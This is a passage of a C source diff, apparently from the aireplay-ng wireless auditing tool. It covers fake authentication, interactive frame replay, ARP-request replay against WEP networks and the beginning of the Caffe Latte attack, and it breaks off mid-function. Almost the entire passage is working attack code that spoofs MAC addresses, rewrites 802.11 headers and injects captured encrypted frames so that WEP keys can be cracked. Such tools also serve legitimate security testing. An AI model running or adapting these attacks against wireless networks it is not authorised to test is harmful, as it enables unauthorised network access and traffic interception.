+					if ((state == 1 && h80211[26] != 0x02)
+						|| (state == 3 && h80211[26] != 0x04))
+						continue;
+				}
+
+				printf("\n");
+				PCT;
+
+				state = 0;
+
+				if (caplen < 30)
+				{
+					printf("Error: packet length < 30 bytes\n");
+					read_sleep(dev.fd_in, 3 * 1000000, my_read_sleep_cb);
+					challengelen = 0;
+					continue;
+				}
+
+				if ((h80211[24] != 0 || h80211[25] != 0) && ska == 0)
+				{
+					ska = 1;
+					printf("Switching to shared key authentication\n");
+					read_sleep(dev.fd_in,
+							   2 * 1000000,
+							   my_read_sleep_cb); // read sleep 2s
+					challengelen = 0;
+					continue;
+				}
+
+				n = h80211[28] + (h80211[29] << 8);
+
+				if (n != 0)
+				{
+					switch (n)
+					{
+						case 1:
+							printf("AP rejects the source MAC address "
+								   "(%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
+								   opt.r_smac[0],
+								   opt.r_smac[1],
+								   opt.r_smac[2],
+								   opt.r_smac[3],
+								   opt.r_smac[4],
+								   opt.r_smac[5]);
+							break;
+
+						case 10:
+							printf("AP rejects our capabilities\n");
+							break;
+
+						case 13:
+						case 15:
+							ska = 1;
+							if (h80211[26] == 0x02)
+								printf(
+									"Switching to shared key authentication\n");
+							if (h80211[26] == 0x04)
+							{
+								printf("Challenge failure\n");
+								challengelen = 0;
+							}
+							read_sleep(dev.fd_in,
+									   2 * 1000000,
+									   my_read_sleep_cb); // read sleep 2s
+							challengelen = 0; //-V519
+							continue;
+						default:
+							break;
+					}
+
+					printf("Authentication failed (code %d)\n", n);
+					if (opt.npackets == -1) x_send = 4;
+					read_sleep(dev.fd_in, 3 * 1000000, my_read_sleep_cb);
+					challengelen = 0;
+					continue;
+				}
+
+				if (ska && h80211[26] == 0x02 && challengelen == 0)
+				{
+					memcpy(challenge, h80211 + 24, caplen - 24);
+					challengelen = caplen - 24;
+				}
+				if (ska)
+				{
+					if (h80211[26] == 0x02)
+					{
+						state = 2; /* grab challenge */
+						printf("Authentication 1/2 successful\n");
+					}
+					if (h80211[26] == 0x04)
+					{
+						state = 4;
+						printf("Authentication 2/2 successful\n");
+					}
+				}
+				else
+				{
+					printf("Authentication successful\n");
+					state = 4; /* auth. done */
+				}
+			}
+
+			/* check if we got an association response */
+
+			if (h80211[0] == 0x10 && state == 5)
+			{
+				printf("\n");
+				state = 0;
+				PCT;
+
+				if (caplen < 30)
+				{
+					printf("Error: packet length < 30 bytes\n");
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				n = h80211[26] + (h80211[27] << 8);
+
+				if (n != 0)
+				{
+					switch (n)
+					{
+						case 1:
+							printf("Denied (code  1), is WPA in use ?\n");
+							break;
+
+						case 10:
+							printf("Denied (code 10), open (no WEP) ?\n");
+							break;
+
+						case 12:
+							printf("Denied (code 12), wrong ESSID or WPA ?\n");
+							break;
+
+						default:
+							printf("Association denied (code %d)\n", n);
+							break;
+					}
+
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
+				printf("Association successful :-) (AID: %d)\n", aid);
+				deauth_wait = 3;
+				fflush(stdout);
+
+				tt = time(NULL);
+				tr = time(NULL);
+
+				state = 6; /* assoc. done */
+			}
+
+			/* check if we got an reassociation response */
+
+			if (h80211[0] == 0x30 && state == 8)
+			{
+				printf("\n");
+				state = 7;
+				PCT;
+
+				if (caplen < 30)
+				{
+					printf("Error: packet length < 30 bytes\n");
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				n = h80211[26] + (h80211[27] << 8);
+
+				if (n != 0)
+				{
+					switch (n)
+					{
+						case 1:
+							printf("Denied (code  1), is WPA in use ?\n");
+							break;
+
+						case 10:
+							printf("Denied (code 10), open (no WEP) ?\n");
+							break;
+
+						case 12:
+							printf("Denied (code 12), wrong ESSID or WPA ?\n");
+							break;
+
+						default:
+							printf("Reassociation denied (code %d)\n", n);
+							break;
+					}
+
+					sleep(3);
+					challengelen = 0;
+					continue;
+				}
+
+				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
+				printf("Reassociation successful :-) (AID: %d)\n", aid);
+				deauth_wait = 3;
+				fflush(stdout);
+
+				tt = time(NULL);
+				tr = time(NULL);
+
+				state = 6; /* reassoc. done */
+			}
+		}
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+static int do_attack_interactive(void)
+{
+	int caplen, n;
+	int mi_b, mi_s, mi_d;
+	struct timeval tv;
+	struct timeval tv2;
+	float f, ticks[3];
+	unsigned char bssid[6];
+	unsigned char smac[6];
+	unsigned char dmac[6];
+
+read_packets:
+
+	if (capture_ask_packet(&caplen, 0) != 0) return (EXIT_FAILURE);
+
+	/* rewrite the frame control & MAC addresses */
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			mi_b = 16;
+			mi_s = 10;
+			mi_d = 4;
+			break;
+		case 1:
+			mi_b = 4;
+			mi_s = 10;
+			mi_d = 16;
+			break;
+		case 2:
+			mi_b = 10;
+			mi_s = 16;
+			mi_d = 4;
+			break;
+		default:
+			mi_b = 10;
+			mi_d = 16;
+			mi_s = 24;
+			break;
+	}
+
+	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
+		memcpy(bssid, h80211 + mi_b, 6);
+	else
+		memcpy(bssid, opt.r_bssid, 6);
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+		memcpy(smac, h80211 + mi_s, 6);
+	else
+		memcpy(smac, opt.r_smac, 6);
+
+	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
+		memcpy(dmac, h80211 + mi_d, 6);
+	else
+		memcpy(dmac, opt.r_dmac, 6);
+
+	if (opt.r_fctrl != -1U)
+	{
+		h80211[0] = opt.r_fctrl >> 8;
+		h80211[1] = opt.r_fctrl & 0xFF;
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				break;
+			default:
+				mi_b = 10;
+				mi_d = 16;
+				mi_s = 24;
+				break;
+		}
+	}
+
+	memcpy(h80211 + mi_b, bssid, 6);
+	memcpy(h80211 + mi_s, smac, 6);
+	memcpy(h80211 + mi_d, dmac, 6);
+
+	/* loop resending the packet */
+
+	/* Check if airodump-ng is running. If not, print that message */
+	printf("You should also start airodump-ng to capture replies.\n\n");
+
+	ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
+	ctrl_c = 0;
+
+	memset(ticks, 0, sizeof(ticks));
+
+	nb_pkt_sent = 0;
+
+	while (1)
+	{
+		if (ctrl_c) goto read_packets;
+
+		/* wait for the next timer interrupt, or sleep */
+
+		if (dev.fd_rtc >= 0)
+		{
+			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / (float) RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / (float) RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / (float) RTC_RESOLUTION);
+		}
+
+		/* update the status line */
+
+		if (ticks[1] > (float) RTC_RESOLUTION / 10.f)
+		{
+			ticks[1] = 0;
+			printf("\rSent %lu packets...(%d pps)",
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+			erase_line(0);
+			printf("\r");
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
+
+		/* threshold reached */
+
+		ticks[2] = 0;
+
+		if (nb_pkt_sent == 0) ticks[0] = 0;
+
+		if (send_packet(_wi_out, h80211, (size_t) caplen, kRewriteDuration) < 0)
+			return (EXIT_FAILURE);
+
+		if (((double) ticks[0] / (double) RTC_RESOLUTION) * (double) opt.r_nbpps
+			> (double) nb_pkt_sent)
+		{
+			if (send_packet(_wi_out, h80211, (size_t) caplen, kRewriteDuration)
+				< 0)
+				return (EXIT_FAILURE);
+		}
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+static int do_attack_arp_resend(void)
+{
+	int nb_bad_pkt;
+	int arp_off1, arp_off2;
+	int i, n, caplen, nb_arp, z;
+	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
+
+	time_t tc;
+	float f, ticks[3];
+	struct timeval tv;
+	struct timeval tv2;
+	struct tm * lt;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+	struct ARP_req * arp;
+
+	/* capture only WEP data to broadcast address */
+
+	opt.f_type = 2;
+	opt.f_subtype = 0;
+	opt.f_iswep = 1;
+
+	memset(opt.f_dmac, 0xFF, 6);
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (EXIT_FAILURE);
+	}
+
+	if (getnet(_wi_in,
+			   NULL,
+			   1,
+			   1,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	/* create and write the output pcap header */
+
+	gettimeofday(&tv, NULL);
+
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving ARP requests in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		return (EXIT_FAILURE);
+	}
+
+	n = sizeof(struct pcap_file_header);
+
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		fclose(f_cap_out);
+		return (EXIT_FAILURE);
+	}
+
+	fflush(f_cap_out);
+
+	printf("You should also start airodump-ng to capture replies.\n");
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			fclose(f_cap_out);
+			return (EXIT_FAILURE);
+		}
+	}
+
+	if (opt.ringbuffer)
+	{
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+		ALLEGE(arp != NULL);
+	}
+	else
+	{
+		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
+		ALLEGE(arp != NULL);
+	}
+
+	memset(ticks, 0, sizeof(ticks));
+
+	tc = time(NULL) - 11;
+
+	nb_pkt_read = 0;
+	nb_bad_pkt = 0;
+	nb_ack_pkt = 0;
+	nb_arp = 0;
+	nb_arp_tot = 0;
+	arp_off1 = 0;
+	arp_off2 = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+
+		if (dev.fd_rtc >= 0)
+		{
+			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
+
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
+				   "sent %lu packets...(%d pps)\r",
+				   nb_pkt_read,
+				   nb_arp_tot,
+				   nb_ack_pkt,
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* threshold reach, send one frame */
+
+			ticks[2] = 0;
+
+			if (nb_arp > 0)
+			{
+				if (nb_pkt_sent == 0) ticks[0] = 0;
+
+				if (send_packet(_wi_out,
+								arp[arp_off1].buf,
+								(size_t) arp[arp_off1].len,
+								kRewriteDuration)
+					< 0)
+				{
+					free(arp);
+					fclose(f_cap_out);
+					return (EXIT_FAILURE);
+				}
+
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent)
+				{
+					if (send_packet(_wi_out,
+									arp[arp_off1].buf,
+									(size_t) arp[arp_off1].len,
+									kRewriteDuration)
+						< 0)
+					{
+						free(arp);
+						fclose(f_cap_out);
+						return (EXIT_FAILURE);
+					}
+				}
+
+				if (++arp_off1 >= nb_arp) arp_off1 = 0;
+			}
+		}
+
+		/* read a frame, and check if it's an ARP request */
+
+		if (opt.s_file == NULL)
+		{
+			gettimeofday(&tv, NULL);
+
+			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+			if (caplen < 0)
+			{
+				free(arp);
+				fclose(f_cap_out);
+				return (EXIT_FAILURE);
+			}
+			if (caplen == 0) continue;
+		}
+		else
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4); //-V1032
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		/* check if it's a disassociation or deauthentication packet */
+
+		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
+			&& !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_bad_pkt++;
+
+			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
+			{
+				erase_line(0);
+				printf("Notice: got a deauth/disassoc packet. Is the "
+					   "source MAC associated ?\n");
+
+				tc = time(NULL);
+				nb_bad_pkt = 0;
+			}
+		}
+
+		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_ack_pkt++;
+		}
+
+		/* check if it's a potential ARP request */
+
+		opt.f_minlen = opt.f_maxlen = 68;
+
+		if (filter_packet(h80211, caplen) == 0) goto add_arp;
+
+		opt.f_minlen = opt.f_maxlen = 86;
+
+		if (filter_packet(h80211, caplen) == 0)
+		{
+		add_arp:
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			switch (h80211[1] & 3)
+			{
+				case 1: /* ToDS */
+				{
+					/* keep as a ToDS packet */
+
+					memcpy(h80211 + 4, opt.f_bssid, 6);
+					memcpy(h80211 + 10, opt.r_smac, 6);
+					memcpy(h80211 + 16, opt.f_dmac, 6);
+
+					h80211[1] = 0x41; /* ToDS & WEP  */
+				}
+				break;
+				case 2: /* FromDS */
+				{
+					if (opt.r_fromdsinj)
+					{
+						/* keep as a FromDS packet */
+
+						memcpy(h80211 + 4, opt.f_dmac, 6);
+						memcpy(h80211 + 10, opt.f_bssid, 6);
+						memcpy(h80211 + 16, opt.r_smac, 6);
+
+						h80211[1] = 0x42; /* FromDS & WEP  */
+					}
+					else
+					{
+						/* rewrite header to make it a ToDS packet */
+
+						memcpy(h80211 + 4, opt.f_bssid, 6);
+						memcpy(h80211 + 10, opt.r_smac, 6);
+						memcpy(h80211 + 16, opt.f_dmac, 6);
+
+						h80211[1] = 0x41; /* ToDS & WEP  */
+					}
+				}
+				break;
+			}
+
+			// should be correct already, keep qos/wds status
+			//             h80211[0] = 0x08;   /* normal data */
+
+			/* if same IV, perhaps our own packet, skip it */
+
+			for (i = 0; i < nb_arp; i++)
+			{
+				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
+					break;
+			}
+
+			if (i < nb_arp) continue;
+
+			if (caplen > 128) continue;
+			/* add the ARP request in the ring buffer */
+
+			nb_arp_tot++;
+
+			/* Ring buffer size: by default: 8 ) */
+
+			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
+			{
+				/* no more room, overwrite oldest entry */
+
+				memcpy(arp[arp_off2].buf, h80211, caplen);
+				arp[arp_off2].len = caplen;
+				arp[arp_off2].hdrlen = z;
+
+				if (++arp_off2 >= nb_arp) arp_off2 = 0;
+			}
+			else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
+				continue;
+			else
+			{
+
+				if ((arp[nb_arp].buf = malloc(128)) == NULL)
+				{
+					perror("malloc failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (EXIT_FAILURE);
+				}
+
+				memcpy(arp[nb_arp].buf, h80211, caplen);
+				arp[nb_arp].len = caplen;
+				arp[nb_arp].hdrlen = z;
+				nb_arp++;
+
+				pkh.tv_sec = tv.tv_sec;
+				pkh.tv_usec = tv.tv_usec;
+				pkh.caplen = caplen;
+				pkh.len = caplen;
+
+				n = sizeof(pkh);
+
+				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (EXIT_FAILURE);
+				}
+
+				n = pkh.caplen;
+
+				if (fwrite(h80211, n, 1, f_cap_out) != 1)
+				{
+					perror("fwrite failed");
+					free(arp);
+					fclose(f_cap_out);
+					return (EXIT_FAILURE);
+				}
+
+				fflush(f_cap_out);
+			}
+		}
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+static int do_attack_caffe_latte(void)
+{
+	int nb_bad_pkt;
+	int arp_off1, arp_off2;
+	int i, n, caplen, nb_arp, z;
+	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
+	unsigned char flip[4096];
+
+	time_t tc;
+	float f, ticks[3];
+	struct timeval tv;
+	struct timeval tv2;
+	struct tm * lt;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+	struct ARP_req * arp;
+
+	/* capture only WEP data to broadcast address */
+
+	opt.f_type = 2;
+	opt.f_subtype = 0;
+	opt.f_iswep = 1;
+	opt.f_fromds = 0;
+
+	if (getnet(_wi_in,
+			   NULL,
+			   1,
+			   1,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   opt.ignore_negative_one,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-b).\n");
+		return (1);
+	}
+	/* create and write the output pcap header */
+
+	gettimeofday(&tv, NULL);
+
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving ARP requests in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		return (1);
+	}
+
+	n = sizeof(struct pcap_file_header);
+
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		fclose(f_cap_out);
+		return (1);
+	}
+
+	fflush(f_cap_out);
+
+	printf("You should also start airodump-ng to capture replies.\n");
+
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			fclose(f_cap_out);
+			return (1);
+		}
+	}
+
+	if (opt.ringbuffer)
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+	else
+		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
+	ALLEGE(arp != NULL);
+
+	memset(ticks, 0, sizeof(ticks));
+
+	tc = time(NULL) - 11;
+
+	nb_pkt_read = 0;
+	nb_bad_pkt = 0;
+	nb_ack_pkt = 0;
+	nb_arp = 0;
+	nb_arp_tot = 0;
+	arp_off1 = 0;
+	arp_off2 = 0;
+
+	while (1)
+	{
+		/* sleep until the next clock tick */
+
+		if (dev.fd_rtc >= 0)
+		{
+			IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
+
+			ticks[0]++;
+			ticks[1]++;
+			ticks[2]++;
+		}
+		else
+		{
+			gettimeofday(&tv, NULL);
+			usleep(1000000 / RTC_RESOLUTION);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+		}
+
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
+				   "sent %lu packets...(%d pps)\r",
+				   nb_pkt_read,
+				   nb_arp_tot,
+				   nb_ack_pkt,
+				   nb_pkt_sent,
+				   (int) ((double) nb_pkt_sent
+						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
+			fflush(stdout);
+		}
+
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* threshold reach, send one frame */
+
+			ticks[2] = 0;
+
+			if (nb_arp > 0)
+			{
+				if (nb_pkt_sent == 0) ticks[0] = 0;
+
+				if (send_packet(_wi_out,
+								arp[arp_off1].buf,
+								(size_t) arp[arp_off1].len,
+								kRewriteDuration)
+					< 0)
+				{
+					free(arp);
+					fclose(f_cap_out);
+					return (1);
+				}
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent)
+				{
+					if (send_packet(_wi_out,
+									arp[arp_off1].buf,
+									(size_t) arp[arp_off1].len,
+									kRewriteDuration)
+						< 0)
+					{
+						free(arp);
+						fclose(f_cap_out);
+						return (1);
+					}
+				}
+
+				if (++arp_off1 >= nb_arp) arp_off1 = 0;
+			}
+		}
+
+		/* read a frame, and check if it's an ARP request */
+
+		if (opt.s_file == NULL)
+		{
+			gettimeofday(&tv, NULL);
+
+			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+			if (caplen < 0)
+			{
+				free(arp);
+				fclose(f_cap_out);
+				return (1);
+			}
+
+			if (caplen == 0) continue;
+		}
+		else
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4); //-V1032
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		/* check if it's a disas. or deauth packet */
+
+		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
+			&& !memcmp(h80211 + 4, opt.r_smac, 6))
+		{
+			nb_bad_pkt++;
+
+			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
+			{
+				erase_line(0);
+				printf("Notice: got a deauth/disassoc packet. Is the "
+					   "source MAC associated ?\n");
+
+				tc = time(NULL);
+				nb_bad_pkt = 0;
+			}
+		}
+
+		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
+		{
+			nb_ack_pkt++;
+		}
+
+		/* check if it's a potential ARP request */
+
+		opt.f_minlen = opt.f_maxlen = 68;
+
+		if (filter_packet(h80211, caplen) == 0) goto add_arp;
+
+		opt.f_minlen = opt.f_maxlen = 86;
+
+		if (filter_packet(h80211, caplen) == 0)
+		{
+		add_arp:
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			switch (h80211[1] & 3)
+			{
+				case 0: /* ad-hoc */
+				{
+					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
+					{
+						/* rewrite to an ad-hoc packet */
+
+						memcpy(h80211 + 4, BROADCAST, 6);
+						memcpy(h80211 + 10, opt.r_smac, 6);
+						memcpy(h80211 + 16, opt.f_bssid, 6);
+
+						h80211[1] = 0x40; /* WEP  */
+					}
+					else
+					{
+						nb_arp_tot++;
+						continue;
+					}
+
+					break;
+				}
+				case 1: /* ToDS */
+				{
+					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
+					{
+						/* rewrite to a FromDS packet */
+
+						memcpy(h80211 + 4, BROADCAST, 6);
+						memcpy(h80211 + 10, opt.f_bssid, 6);
+						memcpy(h80211 + 16, opt.f_bssid, 6);
+
+						h80211[1] = 0x42; /* ToDS & WEP  */
+					}
+					else
+					{
